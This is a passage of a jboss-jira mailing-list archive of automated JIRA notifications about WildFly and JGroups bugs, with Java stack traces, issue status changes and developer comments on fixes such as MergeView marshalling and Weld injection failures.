>     at java.lang.Thread.run(Thread.java:724) [rt.jar:1.7.0_25]
> Caused by: java.lang.NullPointerException
>     at org.jboss.weld.injection.InjectionPointFactory.getParameterInjectionPoints(InjectionPointFactory.java:245)
>     at org.jboss.weld.injection.AbstractCallableInjectionPoint.<init>(AbstractCallableInjectionPoint.java:49)
>     at org.jboss.weld.injection.ConstructorInjectionPoint.<init>(ConstructorInjectionPoint.java:59)
>     at org.jboss.weld.injection.InjectionPointFactory.createConstructorInjectionPoint(InjectionPointFactory.java:173)
>     at org.jboss.weld.injection.producer.DefaultInstantiator.<init>(DefaultInstantiator.java:46)
>     at org.jboss.weld.injection.producer.BasicInjectionTarget.initInstantiator(BasicInjectionTarget.java:144)
>     at org.jboss.weld.injection.producer.BasicInjectionTarget.<init>(BasicInjectionTarget.java:72)
>     at org.jboss.as.weld.injection.NonContextualComponentInjectionTarget.<init>(NonContextualComponentInjectionTarget.java:48)
>     at org.jboss.as.weld.injection.NonContextualComponentInjectionTarget.<init>(NonContextualComponentInjectionTarget.java:44)
>     at org.jboss.as.weld.injection.WeldComponentService.start(WeldComponentService.java:129)
>     at org.jboss.msc.service.ServiceControllerImpl$StartTask.startService(ServiceControllerImpl.java:1944) [jboss-msc-1.2.0.Beta2.jar:1.2.0.Beta2]
>     at org.jboss.msc.service.ServiceControllerImpl$StartTask.run(ServiceControllerImpl.java:1877) [jboss-msc-1.2.0.Beta2.jar:1.2.0.Beta2]
>     ... 3 more
> 19:57:21,018 ERROR [org.jboss.as.controller.management-operation] (DeploymentScanner-threads - 1) JBAS014613: Operation ("deploy") failed - address: ([("deployment" => "cineserver.war")]) - failure description: {"JBAS014671: Failed services" => {"jboss.deployment.unit.\"cineserver.war\".component.\"org.springframework.web.context.request.async.StandardServletAsyncWebRequest\".WeldInstantiator" => "org.jboss.msc.service.StartException in service jboss.deployment.unit.\"cineserver.war\".component.\"org.springframework.web.context.request.async.StandardServletAsyncWebRequest\".WeldInstantiator: Failed to start service
>     Caused by: java.lang.NullPointerException"}}
> 19:57:21,018 ERROR [org.jboss.as.server] (DeploymentScanner-threads - 1) JBAS015870: Deploy of deployment "cineserver.war" was rolled back with the following failure message: 
> {"JBAS014671: Failed services" => {"jboss.deployment.unit.\"cineserver.war\".component.\"org.springframework.web.context.request.async.StandardServletAsyncWebRequest\".WeldInstantiator" => "org.jboss.msc.service.StartException in service jboss.deployment.unit.\"cineserver.war\".component.\"org.springframework.web.context.request.async.StandardServletAsyncWebRequest\".WeldInstantiator: Failed to start service
>     Caused by: java.lang.NullPointerException"}}
> {code} 

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 27 04:33:02 2013
From: jira-events at lists.jboss.org (Jozef Hartinger (JIRA))
Date: Fri, 27 Sep 2013 04:33:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1752) CDI TCK @WebServiceRef
 injection tests failing
In-Reply-To: <JIRA.12497224.1374654395000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12497224.1374654395000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12497224.1374654395000.3711.1380270782784@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1752?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Jozef Hartinger reassigned WFLY-1752:
-------------------------------------

    Assignee: Jozef Hartinger  (was: Martin Kouba)

    
> CDI TCK @WebServiceRef injection tests failing
> ----------------------------------------------
>
>                 Key: WFLY-1752
>                 URL: https://issues.jboss.org/browse/WFLY-1752
>             Project: WildFly
>          Issue Type: Bug
>          Components: CDI / Weld, Web Services
>    Affects Versions: 8.0.0.Alpha3
>            Reporter: Jozef Hartinger
>            Assignee: Jozef Hartinger
>             Fix For: 8.0.0.Beta1
>
>
> {noformat}
> org.jboss.arquillian.test.spi.ArquillianProxyException: org.jboss.wsf.spi.WSFException : Cannot create service [Proxied because : Original exception not deserilizable, ClassNotFoundException]
>         at org.jboss.wsf.spi.WSFException.rethrow(WSFException.java:55)
>         at org.jboss.wsf.stack.cxf.client.serviceref.AbstractServiceObjectFactoryJAXWS.getObjectInstance(AbstractServiceObjectFactoryJAXWS.java:90)
>         at org.jboss.wsf.stack.cxf.client.serviceref.CXFServiceRefFactoryImpl.newServiceRef(CXFServiceRefFactoryImpl.java:38)
>         at org.jboss.as.webservices.webserviceref.WebServiceManagedReferenceFactory.getReference(WebServiceManagedReferenceFactory.java:37)
>         at org.jboss.as.weld.services.bootstrap.ManagedReferenceFactoryToResourceReferenceFactoryAdapter.createResource(ManagedReferenceFactoryToResourceReferenceFactoryAdapter.java:41)
>         at org.jboss.weld.injection.AbstractResourceInjection.getResourceReference(AbstractResourceInjection.java:44)
>         at org.jboss.weld.injection.AbstractResourceInjection.injectResourceReference(AbstractResourceInjection.java:53)
>         at org.jboss.weld.util.Beans.injectEEFields(Beans.java:348)
>         at org.jboss.weld.injection.producer.ResourceInjector.inject(ResourceInjector.java:59)
>         at org.jboss.weld.injection.producer.DefaultInjector$1.proceed(DefaultInjector.java:66)
>         at org.jboss.weld.injection.InjectionContextImpl.run(InjectionContextImpl.java:48)
>         at org.jboss.weld.injection.producer.DefaultInjector.inject(DefaultInjector.java:64)
>         at org.jboss.weld.injection.producer.BasicInjectionTarget.inject(BasicInjectionTarget.java:91)
>         at org.jboss.weld.bean.ManagedBean.create(ManagedBean.java:158)
>         at org.jboss.weld.context.unbound.DependentContextImpl.get(DependentContextImpl.java:69)
>         at org.jboss.weld.manager.BeanManagerImpl.getReference(BeanManagerImpl.java:738)
>         at org.jboss.weld.injection.producer.AbstractMemberProducer.getReceiver(AbstractMemberProducer.java:110)
>         at org.jboss.weld.injection.producer.AbstractMemberProducer.produce(AbstractMemberProducer.java:129)
>         at org.jboss.weld.bean.AbstractProducerBean.create(AbstractProducerBean.java:189)
>         at org.jboss.weld.bean.builtin.ee.EEResourceProducerField.createUnderlying(EEResourceProducerField.java:149)
>         at org.jboss.weld.bean.builtin.ee.EEResourceProducerField.access$000(EEResourceProducerField.java:53)
>         at org.jboss.weld.bean.builtin.ee.EEResourceProducerField$EEResourceCallable.call(EEResourceProducerField.java:73)
>         at org.jboss.weld.bean.builtin.CallableMethodHandler.invoke(CallableMethodHandler.java:45)
>         at org.jboss.weld.bean.proxy.EnterpriseTargetBeanInstance.invoke(EnterpriseTargetBeanInstance.java:56)
>         at org.jboss.weld.bean.proxy.ProxyMethodHandler.invoke(ProxyMethodHandler.java:101)
>         at org.jboss.cdi.tck.tests.lookup.injection.non.contextual.ws.SheepWS$-1409013730$Proxy$_$$_Weld$Proxy$.isSheepInjected(Unknown Source)
>         at org.jboss.cdi.tck.tests.lookup.injection.non.contextual.ws.WebServiceResourceTest.testResourceInvocation(WebServiceResourceTest.java:86)
> Caused by: java.lang.InstantiationException: org.jboss.cdi.tck.tests.lookup.injection.non.contextual.ws.SheepWSEndPointService
>         at java.lang.Class.newInstance(Class.java:359)
>         at org.jboss.wsf.stack.cxf.client.serviceref.AbstractServiceObjectFactoryJAXWS.instantiateService(AbstractServiceObjectFactoryJAXWS.java:241)
>         at org.jboss.wsf.stack.cxf.client.serviceref.AbstractServiceObjectFactoryJAXWS.getObjectInstance(AbstractServiceObjectFactoryJAXWS.java:68)
>         ... 128 more
> {noformat}
> The affected CDI TCK tests:
> org.jboss.cdi.tck.tests.implementation.simple.resource.broken.type.ws.ResourceDefinitionWithDifferentTypeTest
> org.jboss.cdi.tck.tests.lookup.injection.non.contextual.ws.WebServiceResourceTest

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 27 04:35:02 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Fri, 27 Sep 2013 04:35:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2113)
 NamingBindingResourceDefinition attribute validation
In-Reply-To: <JIRA.12501022.1379599096000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501022.1379599096000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501022.1379599096000.3720.1380270902669@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2113?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807828#comment-12807828 ] 

RH Bugzilla Integration commented on WFLY-2113:
-----------------------------------------------

Jan Martiska <jmartisk at redhat.com> changed the Status of [bug 1006206|https://bugzilla.redhat.com/show_bug.cgi?id=1006206] from ON_QA to VERIFIED
                
> NamingBindingResourceDefinition attribute validation
> ----------------------------------------------------
>
>                 Key: WFLY-2113
>                 URL: https://issues.jboss.org/browse/WFLY-2113
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Naming
>            Reporter: Eduardo Martins
>            Assignee: Eduardo Martins
>             Fix For: 8.0.0.Beta1
>
>
> Missing attribute validation may end up on an invalid naming subsystem config, which then prevents server start. For instance it is possible to use the CLI to add a simple binding without value defined, or change an existing resource value attribute to null.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 27 04:35:02 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Fri, 27 Sep 2013 04:35:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2113)
 NamingBindingResourceDefinition attribute validation
In-Reply-To: <JIRA.12501022.1379599096000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501022.1379599096000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501022.1379599096000.3723.1380270902894@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2113?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807829#comment-12807829 ] 

RH Bugzilla Integration commented on WFLY-2113:
-----------------------------------------------

Jan Martiska <jmartisk at redhat.com> made a comment on [bug 1006206|https://bugzilla.redhat.com/show_bug.cgi?id=1006206]

Verified in 6.2.0.ER3, thanks.
                
> NamingBindingResourceDefinition attribute validation
> ----------------------------------------------------
>
>                 Key: WFLY-2113
>                 URL: https://issues.jboss.org/browse/WFLY-2113
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Naming
>            Reporter: Eduardo Martins
>            Assignee: Eduardo Martins
>             Fix For: 8.0.0.Beta1
>
>
> Missing attribute validation may end up on an invalid naming subsystem config, which then prevents server start. For instance it is possible to use the CLI to add a simple binding without value defined, or change an existing resource value attribute to null.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 27 04:35:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Fri, 27 Sep 2013 04:35:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-78) Intermittent failures in
	RespawnTestCase
In-Reply-To: <JIRA.12483133.1358904844000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12483133.1358904844000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12483133.1358904844000.3728.1380270903766@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-78?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807830#comment-12807830 ] 

RH Bugzilla Integration commented on WFLY-78:
---------------------------------------------

Ivo Studensky <istudens at redhat.com> changed the Status of [bug 1012809|https://bugzilla.redhat.com/show_bug.cgi?id=1012809] from ASSIGNED to POST
                
> Intermittent failures in RespawnTestCase
> ----------------------------------------
>
>                 Key: WFLY-78
>                 URL: https://issues.jboss.org/browse/WFLY-78
>             Project: WildFly
>          Issue Type: Bug
>          Components: Domain Management
>            Reporter: Brian Stansberry
>            Assignee: Emanuel Muckenhuber
>             Fix For: 8.0.0.Alpha1
>
>
> Problems like [1] still pop up fairly frequently. It seems the same 3 tests fail.
> Failed tests:   testReloadHcButNotServers(org.jboss.as.test.integration.respawn.RespawnTestCase)
> testReloadHcButNotServersWithFailedServer(org.jboss.as.test.integration.respawn.RespawnTestCase)  testHCReloadAbortPreservesServers(org.jboss.as.test.integration.respawn.RespawnTestCase)
> [1] http://lightning.mw.lab.eng.bos.redhat.com/jenkins/job/as7-master-ignore/327/

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 27 04:35:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Fri, 27 Sep 2013 04:35:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-78) Intermittent failures in
	RespawnTestCase
In-Reply-To: <JIRA.12483133.1358904844000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12483133.1358904844000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12483133.1358904844000.3731.1380270903967@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-78?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807831#comment-12807831 ] 

RH Bugzilla Integration commented on WFLY-78:
---------------------------------------------

Ivo Studensky <istudens at redhat.com> made a comment on [bug 1012809|https://bugzilla.redhat.com/show_bug.cgi?id=1012809]

Relevant PR:

https://github.com/jbossas/jboss-eap/pull/474
                
> Intermittent failures in RespawnTestCase
> ----------------------------------------
>
>                 Key: WFLY-78
>                 URL: https://issues.jboss.org/browse/WFLY-78
>             Project: WildFly
>          Issue Type: Bug
>          Components: Domain Management
>            Reporter: Brian Stansberry
>            Assignee: Emanuel Muckenhuber
>             Fix For: 8.0.0.Alpha1
>
>
> Problems like [1] still pop up fairly frequently. It seems the same 3 tests fail.
> Failed tests:   testReloadHcButNotServers(org.jboss.as.test.integration.respawn.RespawnTestCase)
> testReloadHcButNotServersWithFailedServer(org.jboss.as.test.integration.respawn.RespawnTestCase)  testHCReloadAbortPreservesServers(org.jboss.as.test.integration.respawn.RespawnTestCase)
> [1] http://lightning.mw.lab.eng.bos.redhat.com/jenkins/job/as7-master-ignore/327/

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 27 05:20:02 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Fri, 27 Sep 2013 05:20:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1511)
 RemoteDomainConnection.close() will block forever if the master HC is not
 running
In-Reply-To: <JIRA.12494131.1371059684000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12494131.1371059684000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12494131.1371059684000.3780.1380273602823@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1511?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

RH Bugzilla Integration updated WFLY-1511:
------------------------------------------

        Bugzilla Update: Perform
    Bugzilla References: https://bugzilla.redhat.com/show_bug.cgi?id=1012850

    
> RemoteDomainConnection.close() will block forever if the master HC is not running 
> ----------------------------------------------------------------------------------
>
>                 Key: WFLY-1511
>                 URL: https://issues.jboss.org/browse/WFLY-1511
>             Project: WildFly
>          Issue Type: Bug
>          Components: Domain Management
>    Affects Versions: 8.0.0.Alpha1
>            Reporter: Brian Stansberry
>            Assignee: Emanuel Muckenhuber
>             Fix For: 8.0.0.Beta1
>
>
> RemoteDomainConnection.close() overrides FutureManagementChannel.close() to first send a "unregister" message to the master HC before calling the superclass functionality.
> Problem is this call tries to open a connection to the master and will block forever waiting for it to connect if the master isn't available, as seen at http://fpaste.org/18232/37105700/
> That example was from AutoIgnoredResourcesDomainTestCase which is concurrently shutting down the hosts in the domain, meaning the master can be shutting down in the middle of or prior to slave shutdown.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 27 05:20:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Fri, 27 Sep 2013 05:20:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1511)
 RemoteDomainConnection.close() will block forever if the master HC is not
 running
In-Reply-To: <JIRA.12494131.1371059684000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12494131.1371059684000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12494131.1371059684000.3784.1380273603116@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1511?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807842#comment-12807842 ] 

RH Bugzilla Integration commented on WFLY-1511:
-----------------------------------------------

Ivo Studensky <istudens at redhat.com> made a comment on [bug 1012850|https://bugzilla.redhat.com/show_bug.cgi?id=1012850]

Description of problem:
RemoteDomainConnection.close() overrides FutureManagementChannel.close() to first send a "unregister" message to the master HC before calling the superclass functionality.

Problem is this call tries to open a connection to the master and will block forever waiting for it to connect if the master isn't available, as seen at http://fpaste.org/18232/37105700/

That example was from AutoIgnoredResourcesDomainTestCase which is concurrently shutting down the hosts in the domain, meaning the master can be shutting down in the middle of or prior to slave shutdown.


A backport of WFLY-1511 to EAP 6.2.
                
> RemoteDomainConnection.close() will block forever if the master HC is not running 
> ----------------------------------------------------------------------------------
>
>                 Key: WFLY-1511
>                 URL: https://issues.jboss.org/browse/WFLY-1511
>             Project: WildFly
>          Issue Type: Bug
>          Components: Domain Management
>    Affects Versions: 8.0.0.Alpha1
>            Reporter: Brian Stansberry
>            Assignee: Emanuel Muckenhuber
>             Fix For: 8.0.0.Beta1
>
>
> RemoteDomainConnection.close() overrides FutureManagementChannel.close() to first send a "unregister" message to the master HC before calling the superclass functionality.
> Problem is this call tries to open a connection to the master and will block forever waiting for it to connect if the master isn't available, as seen at http://fpaste.org/18232/37105700/
> That example was from AutoIgnoredResourcesDomainTestCase which is concurrently shutting down the hosts in the domain, meaning the master can be shutting down in the middle of or prior to slave shutdown.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 27 05:20:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Fri, 27 Sep 2013 05:20:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1511)
 RemoteDomainConnection.close() will block forever if the master HC is not
 running
In-Reply-To: <JIRA.12494131.1371059684000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12494131.1371059684000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12494131.1371059684000.3787.1380273603295@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1511?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807843#comment-12807843 ] 

RH Bugzilla Integration commented on WFLY-1511:
-----------------------------------------------

Ivo Studensky <istudens at redhat.com> changed the Status of [bug 1012850|https://bugzilla.redhat.com/show_bug.cgi?id=1012850] from NEW to ASSIGNED
                
> RemoteDomainConnection.close() will block forever if the master HC is not running 
> ----------------------------------------------------------------------------------
>
>                 Key: WFLY-1511
>                 URL: https://issues.jboss.org/browse/WFLY-1511
>             Project: WildFly
>          Issue Type: Bug
>          Components: Domain Management
>    Affects Versions: 8.0.0.Alpha1
>            Reporter: Brian Stansberry
>            Assignee: Emanuel Muckenhuber
>             Fix For: 8.0.0.Beta1
>
>
> RemoteDomainConnection.close() overrides FutureManagementChannel.close() to first send a "unregister" message to the master HC before calling the superclass functionality.
> Problem is this call tries to open a connection to the master and will block forever waiting for it to connect if the master isn't available, as seen at http://fpaste.org/18232/37105700/
> That example was from AutoIgnoredResourcesDomainTestCase which is concurrently shutting down the hosts in the domain, meaning the master can be shutting down in the middle of or prior to slave shutdown.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 27 06:09:02 2013
From: jira-events at lists.jboss.org (Radoslav Husar (JIRA))
Date: Fri, 27 Sep 2013 06:09:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2090) CXF fails with
 IllegalStateException: UT000005: getRequestChannel() has already been
 called
In-Reply-To: <JIRA.12500798.1379354277000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500798.1379354277000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500798.1379354277000.3836.1380276542545@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2090?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807855#comment-12807855 ] 

Radoslav Husar commented on WFLY-2090:
--------------------------------------

https://github.com/wildfly/wildfly/commit/b20b8087080f656a021fc9a2ccf5db87c1e1eb43 temporary to disable the static linking.

proper fix PR coming shortly
                
> CXF fails with IllegalStateException: UT000005: getRequestChannel() has already been called
> -------------------------------------------------------------------------------------------
>
>                 Key: WFLY-2090
>                 URL: https://issues.jboss.org/browse/WFLY-2090
>             Project: WildFly
>          Issue Type: Bug
>          Components: Clustering, Web (Undertow)
>    Affects Versions: 8.0.0.Beta1
>            Reporter: Radoslav Husar
>            Assignee: Radoslav Husar
>             Fix For: 8.0.0.Beta1
>
>
> asoldano is seeing CXF problems with the latest modcluster undertow integration:
> 18:40:41,678 ERROR [io.undertow.request] (default task-10) Blocking request failed HttpServerExchange{ POST /jaxws-samples-asynch}: java.lang.IllegalStateException: UT000005: getRequestChannel() has already been called
> 	at io.undertow.server.HttpServerExchange.addRequestWrapper(HttpServerExchange.java:1052) [undertow-core-1.0.0.Beta13.jar:1.0.0.Beta13]
> 	at org.wildfly.mod_cluster.undertow.metric.BytesReceivedThreadSetupAction.setup(BytesReceivedThreadSetupAction.java:46) [wildfly-mod_cluster-undertow-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at io.undertow.servlet.core.CompositeThreadSetupAction.setup(CompositeThreadSetupAction.java:42) [undertow-servlet-1.0.0.Beta13.jar:1.0.0.Beta13]
> 	at io.undertow.servlet.handlers.ServletInitialHandler.handleFirstRequest(ServletInitialHandler.java:204) [undertow-servlet-1.0.0.Beta13.jar:1.0.0.Beta13]
> 	at io.undertow.servlet.handlers.ServletInitialHandler.dispatchRequest(ServletInitialHandler.java:196) [undertow-servlet-1.0.0.Beta13.jar:1.0.0.Beta13]
> 	at io.undertow.servlet.handlers.ServletInitialHandler.dispatchToPath(ServletInitialHandler.java:141) [undertow-servlet-1.0.0.Beta13.jar:1.0.0.Beta13]
> 	at io.undertow.servlet.spec.AsyncContextImpl$2$1.handleRequest(AsyncContextImpl.java:189) [undertow-servlet-1.0.0.Beta13.jar:1.0.0.Beta13]
> 	at io.undertow.server.HttpHandlers.executeRootHandler(HttpHandlers.java:36) [undertow-core-1.0.0.Beta13.jar:1.0.0.Beta13]
> 	at io.undertow.servlet.spec.AsyncContextImpl$2.run(AsyncContextImpl.java:186) [undertow-servlet-1.0.0.Beta13.jar:1.0.0.Beta13]
> 	at io.undertow.servlet.spec.AsyncContextImpl$5.run(AsyncContextImpl.java:411) [undertow-servlet-1.0.0.Beta13.jar:1.0.0.Beta13]
> 	at io.undertow.servlet.spec.AsyncContextImpl$TaskDispatchRunnable.run(AsyncContextImpl.java:496) [undertow-servlet-1.0.0.Beta13.jar:1.0.0.Beta13]
> 	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_17]
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_17]
> 	at java.lang.Thread.run(Thread.java:722) [rt.jar:1.7.0_17]

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 27 06:11:02 2013
From: jira-events at lists.jboss.org (Radoslav Husar (JIRA))
Date: Fri, 27 Sep 2013 06:11:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2171) Use deployment unit
 processors to register mod_cluster metrics
In-Reply-To: <JIRA.12501718.1380276630109@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501718.1380276630109@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501718.1380276630109.3842.1380276662509@jira02.app.mwc.hst.phx2.redhat.com>

Radoslav Husar created WFLY-2171:
------------------------------------

             Summary: Use deployment unit processors to register mod_cluster metrics
                 Key: WFLY-2171
                 URL: https://issues.jboss.org/browse/WFLY-2171
             Project: WildFly
          Issue Type: Feature Request
          Components: Clustering
    Affects Versions: 8.0.0.Beta1
            Reporter: Radoslav Husar
            Assignee: Radoslav Husar
            Priority: Critical
             Fix For: 8.0.0.Beta1


Remove static dependency and make it runtime using DUPs.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 27 06:15:03 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Fri, 27 Sep 2013 06:15:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1707) MergeView: marshalling fails
 when subgroups are not a subset of members
In-Reply-To: <JIRA.12501700.1380265774000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501700.1380265774000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501700.1380265774000.3856.1380276903983@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JGRP-1707?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807856#comment-12807856 ] 

Bela Ban commented on JGRP-1707:
--------------------------------

This bug was introduced by JGRP-1391
                
> MergeView: marshalling fails when subgroups are not a subset of members
> -----------------------------------------------------------------------
>
>                 Key: JGRP-1707
>                 URL: https://issues.jboss.org/browse/JGRP-1707
>             Project: JGroups
>          Issue Type: Bug
>            Reporter: Bela Ban
>            Assignee: Bela Ban
>             Fix For: 3.4
>
>
> When we have 2 partitions \{A,B,C\} and \{X,Y,Z\} and they merge, but one of the members (e.g. Z) is excluded from the merge (e.g. because it is involved in a different merge already), we create the following MergeView:
> {noformat}
> MergeView:
> view={A,B,C,X,Y}
> subgroups={A,B,C} {X,Y,Z}
> {noformat}
> Because the members of the subgroups refer to the merge view via index, the index for Z is -1, and thus - when unmarshalled - Z points to a null creator, which triggers the following stack trace:
> {noformat}
> 00631037-49819: failed handling incoming message
> java.lang.IllegalArgumentException: creator cannot be null
>         at org.jgroups.ViewId.<init>(ViewId.java:32)
>         at org.jgroups.ViewId.<init>(ViewId.java:42)
>         at org.jgroups.View.create(View.java:90)
>         at org.jgroups.MergeView.readFrom(MergeView.java:119)
>         at org.jgroups.protocols.pbcast.GMS$GmsHeader.readFrom(GMS.java:1285)
>         at org.jgroups.Message.readHeader(Message.java:889)
>         at org.jgroups.Message.readFrom(Message.java:803)
>         at org.jgroups.protocols.TP.readMessageBatch(TP.java:1796)
>         at org.jgroups.protocols.TP.receive(TP.java:1463)
>         at org.jgroups.protocols.UDP$PacketReceiver.run(UDP.java:683)
>         at java.lang.Thread.run(Unknown Source) 
> {noformat}
> SOLUTION:
> * When marshalling a MergeView, and a subgroup member has no corresponding member in {{members}}, then send the *address* instead of the index
> * OR: remove all members from subgroups which are not in {{members}}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 27 06:17:03 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Fri, 27 Sep 2013 06:17:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1707) MergeView: marshalling fails
 when subgroups are not a subset of members
In-Reply-To: <JIRA.12501700.1380265774000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501700.1380265774000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501700.1380265774000.3864.1380277023144@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JGRP-1707?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807858#comment-12807858 ] 

Bela Ban commented on JGRP-1707:
--------------------------------

The marshalling of MergeViews was changed: when a member of a subgroup is not found in the 'members' array, we send index -1 and then the actual address of that member. On reading a -1 as index, we read the actual address and use it.
                
> MergeView: marshalling fails when subgroups are not a subset of members
> -----------------------------------------------------------------------
>
>                 Key: JGRP-1707
>                 URL: https://issues.jboss.org/browse/JGRP-1707
>             Project: JGroups
>          Issue Type: Bug
>            Reporter: Bela Ban
>            Assignee: Bela Ban
>             Fix For: 3.4
>
>
